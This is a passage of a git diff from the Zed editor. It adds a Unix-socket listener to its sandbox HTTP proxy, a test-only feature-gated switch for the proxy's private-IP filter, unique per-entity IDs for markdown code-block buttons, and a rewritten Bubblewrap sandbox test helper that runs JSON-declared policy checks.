+            log::debug!("[http_proxy] Unix listener stopping (shutdown signaled)");
+            break;
+        }
+        match stream {
+            Ok(stream) => spawn_connection(connection::ClientStream::Unix(stream), &state),
+            Err(error) => log::warn!("[http_proxy] Unix accept failed: {error}"),
+        }
+    }
+}
+
+fn spawn_connection(stream: connection::ClientStream, state: &Arc<RuntimeState>) {
+    let previous = state.active_connections.fetch_add(1, Ordering::SeqCst);
+    if previous >= MAX_CONCURRENT_CONNECTIONS {
+        state.active_connections.fetch_sub(1, Ordering::SeqCst);
+        log::warn!(
+            "[http_proxy] dropping connection: {MAX_CONCURRENT_CONNECTIONS} \
+             connections already active"
+        );
+        drop(stream);
+        return;
+    }
+    let slot = ConnectionSlot(state.clone());
+    let state = state.clone();
+    let result = thread::Builder::new()
+        .name("http-proxy-conn".to_string())
+        .stack_size(128 * 1024)
+        .spawn(move || {
+            let _slot = slot;
+            if let Err(error) = connection::handle(stream, state) {
+                log::debug!("[http_proxy] connection handler error: {error}");
+            }
+        });
+    if let Err(error) = result {
+        log::warn!("[http_proxy] failed to spawn connection thread: {error}");
+    }
+}
diff --git a/crates/http_proxy/src/proxy/connection.rs b/crates/http_proxy/src/proxy/connection.rs
index 65aa0a0b02c88c..06ae8ea73d02d2 100644
--- a/crates/http_proxy/src/proxy/connection.rs
+++ b/crates/http_proxy/src/proxy/connection.rs
@@ -18,6 +18,8 @@ use anyhow::{Context, Result, anyhow, bail};
 use base64::Engine as _;
 use std::io::{Read, Write};
 use std::net::{IpAddr, Ipv4Addr, Shutdown, SocketAddr, TcpStream, ToSocketAddrs as _};
+#[cfg(unix)]
+use std::os::unix::net::UnixStream;
 use std::sync::Arc;
 use std::thread;
 use std::time::{Duration, Instant};
@@ -52,11 +54,82 @@ const UPSTREAM_HANDSHAKE_TIMEOUT: Duration = Duration::from_secs(30);
 /// Top-level entry from the listener thread. Owns the client connection
 /// and the runtime state; emits events; never returns errors that escape
 /// the connection (those are logged at the listener level).
-pub(crate) fn handle(client: TcpStream, state: Arc<RuntimeState>) -> Result<()> {
-    // Performance baseline: TCP_NODELAY eliminates the Nagle delay that
-    // otherwise stalls small interactive payloads (git protocol negotiation,
-    // npm metadata pings, etc.).
-    if let Err(error) = client.set_nodelay(true) {
+pub(crate) enum ClientStream {
+    Tcp(TcpStream),
+    #[cfg(unix)]
+    Unix(UnixStream),
+}
+
+impl ClientStream {
+    fn try_clone(&self) -> std::io::Result<Self> {
+        match self {
+            Self::Tcp(stream) => stream.try_clone().map(Self::Tcp),
+            #[cfg(unix)]
+            Self::Unix(stream) => stream.try_clone().map(Self::Unix),
+        }
+    }
+
+    fn set_read_timeout(&self, duration: Option<Duration>) -> std::io::Result<()> {
+        match self {
+            Self::Tcp(stream) => stream.set_read_timeout(duration),
+            #[cfg(unix)]
+            Self::Unix(stream) => stream.set_read_timeout(duration),
+        }
+    }
+}
+
+impl Read for ClientStream {
+    fn read(&mut self, buf: &mut [u8]) -> std::io::Result<usize> {
+        match self {
+            Self::Tcp(stream) => stream.read(buf),
+            #[cfg(unix)]
+            Self::Unix(stream) => stream.read(buf),
+        }
+    }
+}
+
+impl Write for ClientStream {
+    fn write(&mut self, buf: &[u8]) -> std::io::Result<usize> {
+        match self {
+            Self::Tcp(stream) => stream.write(buf),
+            #[cfg(unix)]
+            Self::Unix(stream) => stream.write(buf),
+        }
+    }
+
+    fn flush(&mut self) -> std::io::Result<()> {
+        match self {
+            Self::Tcp(stream) => stream.flush(),
+            #[cfg(unix)]
+            Self::Unix(stream) => stream.flush(),
+        }
+    }
+}
+
+trait StreamIo: Read + Write + Send + 'static {
+    fn shutdown(&self, how: Shutdown) -> std::io::Result<()>;
+}
+
+impl StreamIo for ClientStream {
+    fn shutdown(&self, how: Shutdown) -> std::io::Result<()> {
+        match self {
+            Self::Tcp(stream) => stream.shutdown(how),
+            #[cfg(unix)]
+            Self::Unix(stream) => stream.shutdown(how),
+        }
+    }
+}
+
+impl StreamIo for TcpStream {
+    fn shutdown(&self, how: Shutdown) -> std::io::Result<()> {
+        TcpStream::shutdown(self, how)
+    }
+}
+
+pub(crate) fn handle(client: ClientStream, state: Arc<RuntimeState>) -> Result<()> {
+    if let ClientStream::Tcp(stream) = &client
+        && let Err(error) = stream.set_nodelay(true)
+    {
         log::debug!("[http_proxy] failed to set TCP_NODELAY on client socket: {error}");
     }
 
@@ -106,7 +179,7 @@ pub(crate) fn handle(client: TcpStream, state: Arc<RuntimeState>) -> Result<()>
 /// Reads request headers (until `\r\n\r\n`) from the client. Returns the
 /// full buffer (which may include some bytes after the headers) and the
 /// offset where the headers ended. Capped at [`MAX_HEADER_BYTES`].
-fn read_request_headers(client: &mut TcpStream) -> Result<(Vec<u8>, usize)> {
+fn read_request_headers(client: &mut ClientStream) -> Result<(Vec<u8>, usize)> {
     let mut buf = Vec::with_capacity(4096);
     let mut tmp = [0u8; 4096];
     let mut searched = 0usize;
@@ -418,6 +491,16 @@ fn plan_route(host: &str, port: u16, state: &RuntimeState) -> Result<Route, Rout
 /// already blocks them for direct connections from the sandbox; the proxy
 /// (which runs outside the sandbox) must not reopen them.
 fn is_forbidden_ip(ip: IpAddr) -> bool {
+    // Escape hatch for the NixOS sandbox integration tests only: their echo
+    // servers live on the VM's private network, which this filter would
+    // otherwise reject. It is compiled in ONLY under the
+    // `nixos-integration-tests` feature (enabled via `sandbox/nixos-test` when
+    // building `bwrap_test_helper`), so in a real Zed build the env var has no
+    // effect and cannot disable DNS-rebinding/SSRF protection.
+    #[cfg(feature = "nixos-integration-tests")]
+    if std::env::var_os("ZED_SANDBOX_PROXY_ALLOW_LOCAL_IPS").is_some() {
+        return false;
+    }
     match ip {
         IpAddr::V4(v4) => is_forbidden_ipv4(v4),
         IpAddr::V6(v6) => {
@@ -448,7 +531,7 @@ fn is_forbidden_ipv4(ip: Ipv4Addr) -> bool {
 }
 
 fn handle_connect(
-    mut client: TcpStream,
+    mut client: ClientStream,
     host: String,
     port: u16,
     leftover_body: Vec<u8>,
@@ -540,7 +623,7 @@ fn handle_connect(
 }
 
 fn handle_http_forward(
-    mut client: TcpStream,
+    mut client: ClientStream,
     method: String,
     host: String,
     port: u16,
@@ -741,7 +824,7 @@ fn connect_via_upstream(
 /// Send a 511 response with `Via` and `Proxy-Status` headers and an
 /// explanatory body. Closes the connection afterwards.
 fn deny_request(
-    client: &mut TcpStream,
+    client: &mut ClientStream,
     state: &RuntimeState,
     host: String,
     port: u16,
@@ -809,7 +892,7 @@ fn emit(state: &RuntimeState, event: ProxyEvent) {
 /// Returns `(client→remote bytes, remote→client bytes)`. Errors are
 /// swallowed — partial transfer is fine, the caller just emits whatever
 /// totals we got.
-fn pump_bidir(client: TcpStream, upstream: TcpStream) -> (u64, u64) {
+fn pump_bidir(client: ClientStream, upstream: TcpStream) -> (u64, u64) {
     // Two clones per direction so each side owns the half it touches.
     // `try_clone` dups the underlying fd, so reads/writes on the two
     // halves don't contend for the same kernel state.
@@ -852,7 +935,7 @@ fn pump_bidir(client: TcpStream, upstream: TcpStream) -> (u64, u64) {
 
 /// Copy bytes from `from` to `to` until EOF on the read side or write
 /// failure. Half-closes `to` for writes when done so the partner sees EOF.
-fn copy_one_way(mut from: TcpStream, mut to: TcpStream) -> u64 {
+fn copy_one_way(mut from: impl Read, mut to: impl StreamIo) -> u64 {
     let mut total = 0u64;
     let mut buf = vec![0u8; PUMP_BUFFER_SIZE];
     loop {
diff --git a/crates/http_proxy/tests/end_to_end.rs b/crates/http_proxy/tests/end_to_end.rs
index 076d07f8b28545..0bc3536aa0f4a2 100644
--- a/crates/http_proxy/tests/end_to_end.rs
+++ b/crates/http_proxy/tests/end_to_end.rs
@@ -13,6 +13,8 @@ use http_proxy::{
 };
 use std::io::{Read, Write};
 use std::net::{Ipv4Addr, SocketAddr, TcpListener, TcpStream};
+#[cfg(unix)]
+use std::os::unix::net::UnixStream;
 use std::thread;
 use std::time::Duration;
 
@@ -95,13 +97,30 @@ fn spawn_proxy_with_upstream(
     })
     .expect("proxy spawn");
 
-    // Drain the Ready event so callers see RequestAttempt as the first.
+    drain_ready(&proxy, &mut events_rx);
+    (proxy, events_rx)
+}
+
+#[cfg(unix)]
+fn spawn_unix_proxy(allowlist: Allowlist) -> (ProxyHandle, mpsc::UnboundedReceiver<ProxyEvent>) {
+    let (events_tx, mut events_rx) = mpsc::unbounded();
+    let proxy = ProxyHandle::spawn_unix_temp(ProxyConfig {
+        allowlist,
+        upstream: None,
+        events: events_tx,
+    })
+    .expect("proxy spawn");
+
+    drain_ready(&proxy, &mut events_rx);
+    (proxy, events_rx)
+}
+
+fn drain_ready(proxy: &ProxyHandle, events_rx: &mut mpsc::UnboundedReceiver<ProxyEvent>) {
     let ready = futures::executor::block_on(events_rx.next());
     match ready {
         Some(ProxyEvent::Ready { port }) => assert_eq!(port, proxy.port()),
         other => panic!("expected Ready event first, got {other:?}"),
     }
-    (proxy, events_rx)
 }
 
 fn next_event(events: &mut mpsc::UnboundedReceiver<ProxyEvent>) -> ProxyEvent {
@@ -170,6 +189,46 @@ fn connect_allowed_host_completes_tunnel_and_emits_events() {
     }
 }
 
+#[cfg(unix)]
+#[test]
+fn unix_listener_denied_host_returns_511() {
+    let allowlist = Allowlist::from_patterns([HostPattern::parse("github.com").unwrap()]);
+    let (proxy, mut events) = spawn_unix_proxy(allowlist);
+    let socket_path = proxy
+        .socket_path()
+        .expect("Unix proxy socket path")
+        .to_path_buf();
+
+    let mut client = UnixStream::connect(socket_path).unwrap();
+    client.set_read_timeout(Some(TEST_TIMEOUT)).unwrap();
+    client
+        .write_all(b"CONNECT denied.example:443 HTTP/1.1\r\nHost: denied.example:443\r\n\r\n")
+        .unwrap();
+
+    let mut response = String::new();
+    client.read_to_string(&mut response).unwrap();
+    assert!(
+        response.starts_with("HTTP/1.1 511 "),
+        "expected 511, got: {response}"
+    );
+    assert!(response.contains("denied.example"));
+
+    match next_event(&mut events) {
+        ProxyEvent::RequestAttempt {
+            host,
+            port,
+            method,
+            outcome,
+        } => {
+            assert_eq!(host, "denied.example");
+            assert_eq!(port, 443);
+            assert_eq!(method, RequestMethod::Connect);
+            assert!(matches!(outcome, RequestOutcome::Denied { .. }));
+        }
+        other => panic!("expected RequestAttempt(Denied), got {other:?}"),
+    }
+}
+
 #[test]
 fn connect_denied_host_returns_511_with_via_header() {
     let allowlist = Allowlist::from_patterns([HostPattern::parse("github.com").unwrap()]);
diff --git a/crates/icons/src/icons.rs b/crates/icons/src/icons.rs
index 72f6b32221f43c..6588d3f07f3650 100644
--- a/crates/icons/src/icons.rs
+++ b/crates/icons/src/icons.rs
@@ -184,6 +184,7 @@ pub enum IconName {
     LoadCircle,
     LocationEdit,
     LockOutlined,
+    LockOutlinedOff,
     MagnifyingGlass,
     Maximize,
     MaximizeAlt,
diff --git a/crates/markdown/src/markdown.rs b/crates/markdown/src/markdown.rs
index 50d6a7671ad827..5a033c17bbbcc5 100644
--- a/crates/markdown/src/markdown.rs
+++ b/crates/markdown/src/markdown.rs
@@ -2836,8 +2836,12 @@ fn render_wrap_code_block_button(
     } else {
         (IconName::TextWrap, "Wrap Content")
     };
+    let button_id = ElementId::NamedChild(
+        Arc::new(ElementId::from(("wrap-code-block", markdown.entity_id()))),
+        id.to_string().into(),
+    );
 
-    IconButton::new(("wrap-code-block", id), icon)
+    IconButton::new(button_id, icon)
         .icon_size(IconSize::Small)
         .icon_color(Color::Muted)
         .tooltip(Tooltip::text(tooltip))
@@ -2854,7 +2858,13 @@ fn render_copy_code_block_button(
     code: String,
     markdown: Entity<Markdown>,
 ) -> impl IntoElement {
-    let id = ElementId::named_usize("copy-markdown-code", id);
+    let id = ElementId::NamedChild(
+        Arc::new(ElementId::from((
+            "copy-markdown-code",
+            markdown.entity_id(),
+        ))),
+        id.to_string().into(),
+    );
 
     CopyButton::new(id.clone(), code.clone()).custom_on_click({
         let markdown = markdown;
@@ -3934,6 +3944,52 @@ mod tests {
         });
     }
 
+    #[gpui::test]
+    fn test_code_block_controls_are_unique_across_markdown_entities(cx: &mut TestAppContext) {
+        struct TestWindow;
+
+        impl Render for TestWindow {
+            fn render(&mut self, _: &mut Window, _: &mut Context<Self>) -> impl IntoElement {
+                div()
+            }
+        }
+
+        struct TestMarkdowns {
+            first_markdown: Entity<Markdown>,
+            second_markdown: Entity<Markdown>,
+        }
+
+        impl Render for TestMarkdowns {
+            fn render(&mut self, _: &mut Window, _: &mut Context<Self>) -> impl IntoElement {
+                div()
+                    .child(MarkdownElement::new(
+                        self.first_markdown.clone(),
+                        MarkdownStyle::default(),
+                    ))
+                    .child(MarkdownElement::new(
+                        self.second_markdown.clone(),
+                        MarkdownStyle::default(),
+                    ))
+            }
+        }
+
+        ensure_theme_initialized(cx);
+
+        let (_, cx) = cx.add_window_view(|_, _| TestWindow);
+        let markdown = "```sh\necho hello\n```";
+        let first_markdown = cx.new(|cx| Markdown::new(markdown.into(), None, None, cx));
+        let second_markdown = cx.new(|cx| Markdown::new(markdown.into(), None, None, cx));
+        cx.run_until_parked();
+
+        cx.draw(Default::default(), size(px(600.0), px(600.0)), |_, cx| {
+            cx.new(|_| TestMarkdowns {
+                first_markdown: first_markdown.clone(),
+                second_markdown: second_markdown.clone(),
+            })
+            .into_any_element()
+        });
+    }
+
     #[gpui::test]
     fn test_mappings(cx: &mut TestAppContext) {
         // Formatting.
diff --git a/crates/markdown/src/mermaid.rs b/crates/markdown/src/mermaid.rs
index 6ecb3f07ff31e2..d6ab952496326f 100644
--- a/crates/markdown/src/mermaid.rs
+++ b/crates/markdown/src/mermaid.rs
@@ -444,6 +444,17 @@ fn render_mermaid_tab_header(
     showing_code: bool,
     markdown: Entity<Markdown>,
 ) -> impl IntoElement {
+    let preview_id = ElementId::NamedChild(
+        Arc::new(ElementId::from((
+            "mermaid-tab-preview",
+            markdown.entity_id(),
+        ))),
+        source_offset.to_string().into(),
+    );
+    let code_id = ElementId::NamedChild(
+        Arc::new(ElementId::from(("mermaid-tab-code", markdown.entity_id()))),
+        source_offset.to_string().into(),
+    );
     let preview_markdown = markdown.clone();
     let code_markdown = markdown;
 
@@ -451,38 +462,32 @@ fn render_mermaid_tab_header(
         .gap_0p5()
         .mb_2p5()
         .child(
-            Button::new(
-                ElementId::named_usize("mermaid-tab-preview", source_offset),
-                "Preview",
-            )
-            .label_size(LabelSize::Small)
-            .selected_style(ButtonStyle::Tinted(TintColor::Accent))
-            .toggle_state(!showing_code)
-            .on_click(move |_event, _window, cx| {
-                preview_markdown.update(cx, |md, cx| {
-                    if md.is_mermaid_showing_code(source_offset) {
-                        md.toggle_mermaid_tab(source_offset);
-                        cx.notify();
-                    }
-                });
-            }),
+            Button::new(preview_id, "Preview")
+                .label_size(LabelSize::Small)
+                .selected_style(ButtonStyle::Tinted(TintColor::Accent))
+                .toggle_state(!showing_code)
+                .on_click(move |_event, _window, cx| {
+                    preview_markdown.update(cx, |md, cx| {
+                        if md.is_mermaid_showing_code(source_offset) {
+                            md.toggle_mermaid_tab(source_offset);
+                            cx.notify();
+                        }
+                    });
+                }),
         )
         .child(
-            Button::new(
-                ElementId::named_usize("mermaid-tab-code", source_offset),
-                "Code",
-            )
-            .label_size(LabelSize::Small)
-            .selected_style(ButtonStyle::Tinted(TintColor::Accent))
-            .toggle_state(showing_code)
-            .on_click(move |_event, _window, cx| {
-                code_markdown.update(cx, |md, cx| {
-                    if !md.is_mermaid_showing_code(source_offset) {
-                        md.toggle_mermaid_tab(source_offset);
-                        cx.notify();
-                    }
-                });
-            }),
+            Button::new(code_id, "Code")
+                .label_size(LabelSize::Small)
+                .selected_style(ButtonStyle::Tinted(TintColor::Accent))
+                .toggle_state(showing_code)
+                .on_click(move |_event, _window, cx| {
+                    code_markdown.update(cx, |md, cx| {
+                        if !md.is_mermaid_showing_code(source_offset) {
+                            md.toggle_mermaid_tab(source_offset);
+                            cx.notify();
+                        }
+                    });
+                }),
         )
 }
 
@@ -491,7 +496,10 @@ fn render_mermaid_copy_button(
     code: String,
     markdown: Entity<Markdown>,
 ) -> impl IntoElement {
-    let id = ElementId::named_usize("copy-mermaid-code", source_offset);
+    let id = ElementId::NamedChild(
+        Arc::new(ElementId::from(("copy-mermaid-code", markdown.entity_id()))),
+        source_offset.to_string().into(),
+    );
 
     div().absolute().top_1().right_1().justify_end().child(
         CopyButton::new(id.clone(), code.clone())
diff --git a/crates/sandbox/Cargo.toml b/crates/sandbox/Cargo.toml
index 7e98d4b3608d97..6a65e2a098447c 100644
--- a/crates/sandbox/Cargo.toml
+++ b/crates/sandbox/Cargo.toml
@@ -14,8 +14,14 @@ path = "src/sandbox.rs"
 [features]
 # Builds `bwrap_test_helper`, the behavior helper driven by the NixOS sandbox
 # VM tests in `nix/tests/sandboxing`. Off by default so normal builds don't
-# produce the test binary.
-nixos-test = []
+# produce the test binary. Pulls in serde only when enabled (the helper parses
+# its check list as JSON), and enables the matching `http_proxy` escape hatch so
+# the in-process proxy can reach the VM's private-network echo servers.
+nixos-test = [
+    "dep:serde",
+    "dep:serde_json",
+    "http_proxy/nixos-integration-tests",
+]
 
 # Builds `wsl_sandbox_test_helper`, the Windows analog of `bwrap_test_helper`.
 # It drives the real WSL/Bubblewrap sandbox end-to-end (see
@@ -37,18 +43,24 @@ name = "wsl_sandbox_test_helper"
 path = "src/wsl_sandbox_test_helper.rs"
 required-features = ["wsl-test"]
 
-[target.'cfg(target_os = "linux")'.dependencies]
+[dependencies]
 anyhow.workspace = true
+futures.workspace = true
+http_proxy.workspace = true
+log.workspace = true
+# Used only by the `nixos-test` helper binary to parse its check list; gated
+# behind the `nixos-test` feature so normal builds don't pull it in.
+serde = { workspace = true, optional = true }
+serde_json = { workspace = true, optional = true }
+
+[target.'cfg(target_os = "linux")'.dependencies]
 libc.workspace = true
 
 [target.'cfg(target_os = "linux")'.dev-dependencies]
 tempfile.workspace = true
 
 [target.'cfg(target_os = "macos")'.dependencies]
-anyhow.workspace = true
 tempfile.workspace = true
 
 [target.'cfg(target_os = "windows")'.dependencies]
-anyhow.workspace = true
-log.workspace = true
 smol.workspace = true
diff --git a/crates/sandbox/src/bwrap_test_helper.rs b/crates/sandbox/src/bwrap_test_helper.rs
index 7a5e962fb9e385..27c8523ce32b54 100644
--- a/crates/sandbox/src/bwrap_test_helper.rs
+++ b/crates/sandbox/src/bwrap_test_helper.rs
@@ -1,5 +1,14 @@
-//! Test binary used exclusively in the NixOS integration test for bwrap at
-//! `nix/tests/sandboxing`. See the comment there.
+//! Test binary used exclusively by the NixOS integration tests for the
+//! Bubblewrap sandbox at `nix/tests/sandboxing`. See the comment there.
+//!
+//! It drives the sandbox crate's *public* API only (`Sandbox`, `SandboxPolicy`,
+//! …) — never platform internals — so it doubles as a check that the public API
+//! is sufficient to express and enforce the policies the agent needs.
+//!
+//! The list of checks to run is *data*, declared by the Nix test and handed to
+//! this binary as a JSON file (path in `ZED_SANDBOX_CHECKS`). Each check
+//! describes a sandbox policy, an operation to attempt under that policy, and
+//! the expected outcome; this binary executes each and asserts the result.
 
 #![allow(
     clippy::disallowed_methods,
@@ -19,32 +28,35 @@ fn main() {
 
 #[cfg(target_os = "linux")]
 mod imp {
+    use std::io::{Read as _, Write as _};
+    use std::net::TcpStream;
     use std::path::{Path, PathBuf};
-    use std::process::Command;
     use std::time::Duration;
 
     use anyhow::{Context as _, Result, bail};
-    use sandbox::SandboxPermissions;
-    use sandbox::linux_bubblewrap::{LauncherStatus, StatusChannel, wrap_invocation};
+    use sandbox::{
+        CommandAndArgs, Sandbox, SandboxError, SandboxFsPolicy, SandboxNetPolicy, SandboxPolicy,
+    };
+    use serde::Deserialize;
 
-    /// Internal subcommand: attempt an outbound TCP connection to the given
-    /// `host:port`, exiting 0 on success and 1 on any failure. Run *inside* the
-    /// sandbox to check whether the network is reachable.
-    const SUBCOMMAND_NET_CHECK: &str = "__net_check";
-    /// Internal subcommand: create an `AF_UNIX` socket, exiting 0 on success. Used
-    /// to confirm local IPC still works while IP networking is denied.
-    const SUBCOMMAND_UNIX_CHECK: &str = "__unix_check";
+    /// Internal subcommand: round-trip a byte through the echo server at the
+    /// given `host:port`, honoring `HTTP_PROXY` when set (the restricted-network
+    /// case routes through the sandbox proxy via HTTP CONNECT). Exits 0 on a
+    /// successful round-trip, non-zero otherwise. Run *inside* the sandbox.
+    const SUBCOMMAND_ECHO_CHECK: &str = "__echo_check";
+
+    /// Default port for echo targets given as a bare hostname (e.g. `echo1`).
+    const DEFAULT_ECHO_PORT: &str = "7000";
 
     pub fn main() {
-        // If we were re-exec'd as the sandbox launcher, this sets up the sandbox and
-        // execs the wrapped command without returning.
+        // If we were re-exec'd as the restricted-network bridge, this starts the
+        // bridge and execs the wrapped command without returning.
         sandbox::run_sandbox_launcher_if_invoked();
 
         let args: Vec<String> = std::env::args().collect();
         let result = match args.get(1).map(String::as_str) {
-            Some(SUBCOMMAND_NET_CHECK) => run_net_check(args.get(2).map(String::as_str)),
-            Some(SUBCOMMAND_UNIX_CHECK) => run_unix_check(),
-            _ => run_tests(),
+            Some(SUBCOMMAND_ECHO_CHECK) => run_echo_check(args.get(2).map(String::as_str)),
+            _ => run_checks(),
         };
 
         if let Err(error) = result {
@@ -53,107 +65,349 @@ mod imp {
         }
     }
 
-    /// Inner command: try to open a TCP connection. Inside the sandbox's own
-    /// network namespace there is no route out, so this exits non-zero.
+    /// Filesystem policy as declared in a check (`fs` field).
+    #[derive(Clone, Copy, Debug, Default, Deserialize, PartialEq)]
+    #[serde(rename_all = "lowercase")]
+    enum FsMode {
+        /// Reads allowed everywhere; writes confined to `writablePaths`.
+        #[default]
+        Restricted,
+        /// Writes allowed anywhere.
+        Unrestricted,
+    }
+
+    /// Network policy as declared in a check (`networkAccess` field).
+    #[derive(Clone, Copy, Debug, Default, Deserialize, PartialEq)]
+    #[serde(rename_all = "lowercase")]
+    enum NetMode {
+        /// All outbound network blocked.
+        #[default]
+        Blocked,
+        /// All outbound network allowed.
+        Unrestricted,
+        /// Outbound HTTP(S) allowed only to `allowedDomains`.
+        Restricted,
+    }
+
+    /// One declarative check: a sandbox policy, an operation, and the expected
+    /// result. Deserialized from the JSON the Nix test produces.
     ///
-    /// A host like `echo:7000` can resolve to several addresses (e.g. IPv6 and
-    /// IPv4); we must try all of them and only fail if none connect. Trying just
-    /// the first would spuriously "fail" the allowed-network case whenever the
-    /// first address happens to be one with no route (commonly IPv6).
-    fn run_net_check(address: Option<&str>) -> Result<()> {
-        use std::net::ToSocketAddrs as _;
-        let address = address.context("net check requires a host:port argument")?;
-        let resolved = address
-            .to_socket_addrs()
-            .with_context(|| format!("failed to resolve {address:?}"))?;
-        let mut last_error = None;
-        for socket_address in resolved {
-            match std::net::TcpStream::connect_timeout(&socket_address, Duration::from_secs(5)) {
-                Ok(_) => return Ok(()),
-                Err(error) => last_error = Some(error),
-            }
+    /// Exactly one operation field (`read`, `write`, `network`, or `canCreate`)
+    /// must be set. Policy fields default to the most-confined policy
+    /// (restricted filesystem with no writable paths, blocked network).
+    #[derive(Debug, Default, Deserialize)]
+    #[serde(rename_all = "camelCase", deny_unknown_fields)]
+    struct Check {
+        /// Optional human label; falls back to an auto-generated description.
+        #[serde(default)]
+        name: Option<String>,
+
+        // ---- policy ----
+        #[serde(default)]
+        fs: FsMode,
+        #[serde(default)]
+        writable_paths: Vec<String>,
+        #[serde(default)]
+        network_access: NetMode,
+        #[serde(default)]
+        allowed_domains: Vec<String>,
+
+        // ---- operation (exactly one) ----
+        /// Read this host path from inside the sandbox.
+        #[serde(default)]
+        read: Option<String>,
+        /// Write to this host path from inside the sandbox.
+        #[serde(default)]
+        write: Option<String>,
+        /// Connect to this echo host (`hostname` or `hostname:port`) from inside
+        /// the sandbox.
+        #[serde(default)]
+        network: Option<String>,
+        /// Assert that `Sandbox::can_create` for this policy matches the value:
+        /// `true` => the sandbox can be created, `false` => it cannot.
+        #[serde(default)]
+        can_create: Option<bool>,
+
+        // ---- expectation ----
+        /// Expected outcome for `read` / `write` / `network`.
+        #[serde(default)]
+        succeeds: Option<bool>,
+        /// Expected error kind for `canCreate = false`
+        /// (`bwrap_not_found` | `setuid_rejected` | `probe_failed`). When
+        /// omitted, any creation failure is accepted.
+        #[serde(default)]
+        error: Option<String>,
+    }
+
+    fn run_checks() -> Result<()> {
+        // The restricted-network proxy runs in *this* process and the echo
+        // servers live on the VM's private network, which the proxy's
+        // DNS-rebinding protection would otherwise reject. The proxy only honors
+        // this var when built with `http_proxy/nixos-integration-tests` (pulled
+        // in by `sandbox/nixos-test`, which this binary requires), so it has no
+        // effect in a real Zed build.
+        // SAFETY: single-threaded at this point.
+        unsafe {
+            std::env::set_var("ZED_SANDBOX_PROXY_ALLOW_LOCAL_IPS", "1");
         }
-        match last_error {
-            Some(error) => Err(error).with_context(|| format!("failed to connect to {address}")),
-            None => bail!("{address:?} resolved to no socket addresses"),
+
+        let checks_path =
+            std::env::var("ZED_SANDBOX_CHECKS").context("ZED_SANDBOX_CHECKS must be set")?;
+        let raw = std::fs::read_to_string(&checks_path)
+            .with_context(|| format!("failed to read checks file {checks_path}"))?;
+        let specs: Vec<Check> =
+            serde_json::from_str(&raw).context("failed to parse checks JSON")?;
+        let echo_port =
+            std::env::var("ZED_TEST_ECHO_PORT").unwrap_or_else(|_| DEFAULT_ECHO_PORT.to_string());
+
+        println!("[sandbox_test]: running {} check(s)", specs.len());
+
+        let mut checks = Checks::new();
+        for spec in &specs {
+            run_check(spec, &echo_port, &mut checks)?;
         }
+        checks.finish()
     }
 
-    /// Inner command: create an `AF_UNIX` socket. Local IPC is not categorically
-    /// blocked by the sandbox, so this must succeed even when IP networking is
-    /// denied.
-    fn run_unix_check() -> Result<()> {
-        std::os::unix::net::UnixDatagram::unbound().context("failed to create AF_UNIX socket")?;
-        Ok(())
+    fn policy_of(check: &Check) -> SandboxPolicy {
+        let fs = match check.fs {
+            FsMode::Unrestricted => SandboxFsPolicy::Unrestricted,
+            FsMode::Restricted => SandboxFsPolicy::Restricted {
+                writable_paths: check.writable_paths.iter().map(PathBuf::from).collect(),
+            },
+        };
+        let network = match check.network_access {
+            NetMode::Unrestricted => SandboxNetPolicy::Unrestricted,
+            NetMode::Blocked => SandboxNetPolicy::Blocked,
+            NetMode::Restricted => SandboxNetPolicy::Restricted {
+                allowed_domains: check.allowed_domains.clone(),
+            },
+        };
+        SandboxPolicy {
+            fs,
+            network,
+            git: sandbox::GitSandboxPolicy::default(),
+        }
     }
 
-    /// The outcome of driving the launcher once.
-    struct LaunchResult {
-        /// The status the launcher reported back, if any.
-        status: Option<LauncherStatus>,
-        /// Whether the launched command exited successfully.
-        command_succeeded: bool,
+    fn describe(check: &Check) -> String {
+        if let Some(name) = &check.name {
+            return name.clone();
+        }
+        let policy = format!("fs={:?},net={:?}", check.fs, check.network_access);
+        let op = if let Some(path) = &check.read {
+            format!("read {path}")
+        } else if let Some(path) = &check.write {
+            format!("write {path}")
+        } else if let Some(host) = &check.network {
+            format!("network {host}")
+        } else if let Some(expected) = check.can_create {
+            format!("can_create == {expected}")
+        } else {
+            "<no operation>".to_string()
+        };
+        format!("[{policy}] {op}")
     }
 
-    /// Drive the sandbox launcher the same way Zed's terminal integration does:
-    /// bind a status channel, build the launcher invocation, spawn it, and collect
-    /// both the reported status and the command's exit result.
-    fn drive_launcher(
-        program: &str,
-        args: &[String],
-        writable_dirs: &[&Path],
-        cwd: Option<&Path>,
-        permissions: SandboxPermissions,
-    ) -> Result<LaunchResult> {
-        let launcher = std::env::current_exe().context("failed to resolve current executable")?;
-        let launcher = launcher
-            .to_str()
-            .context("current executable path is not valid UTF-8")?;
-
-        let channel = StatusChannel::bind().context("failed to bind status channel")?;
-        let (launcher_program, launcher_args) = wrap_invocation(
-            launcher,
-            Some(channel.name()),
-            permissions,
-            writable_dirs,
-            &[],
-            &[],
-            cwd,
-            program,
-            args,
-        );
-
-        let mut child = Command::new(&launcher_program)
-            .args(&launcher_args)
-            .spawn()
-            .context("failed to spawn sandbox launcher")?;
-
-        // The launcher connects and reports before it execs, so read the status
-        // while the command runs, then wait for the command to finish.
-        let status = channel.recv(Duration::from_secs(30));
-        let exit = child.wait().context("failed to wait for launcher")?;
-
-        Ok(LaunchResult {
-            status,
-            command_succeeded: exit.success(),
-        })
+    fn run_check(check: &Check, echo_port: &str, checks: &mut Checks) -> Result<()> {
+        let label = describe(check);
+        let policy = policy_of(check);
+
+        if let Some(expect_can_create) = check.can_create {
+            let outcome = Sandbox::can_create(&policy, None);
+            let passed = match (&outcome, expect_can_create) {
+                (Ok(()), true) => true,
+                (Ok(()), false) => false,
+                (Err(_), true) => false,
+                (Err(error), false) => check
+                    .error
+                    .as_deref()
+                    .map(|expected| error_matches(error, expected))
+                    .unwrap_or(true),
+            };
+            checks.check(&format!("{label} (got {outcome:?})"), passed);
+            return Ok(());
+        }
+
+        let succeeds = check
+            .succeeds
+            .with_context(|| format!("check {label:?} has an operation but no `succeeds`"))?;
+
+        let actual = if let Some(path) = &check.read {
+            run_read(&policy, path)?
+        } else if let Some(path) = &check.write {
+            run_write(&policy, path)?
+        } else if let Some(host) = &check.network {
+            run_network(&policy, host, echo_port)?
+        } else {
+            bail!("check {label:?} has no operation");
+        };
+
+        checks.check(&label, actual == succeeds);
+        Ok(())
     }
 
-    /// Run `sh -c <script>` inside the sandbox and report whether it succeeded.
-    fn run_in_sandbox(
-        script: &str,
-        writable_dirs: &[&Path],
-        permissions: SandboxPermissions,
-    ) -> Result<LaunchResult> {
-        drive_launcher(
+    /// Seed a host file, then `cat` it from inside the sandbox. Reads are always
+    /// granted (root is bound read-only), so this proves the sandbox doesn't
+    /// *block* reads of existing host files.
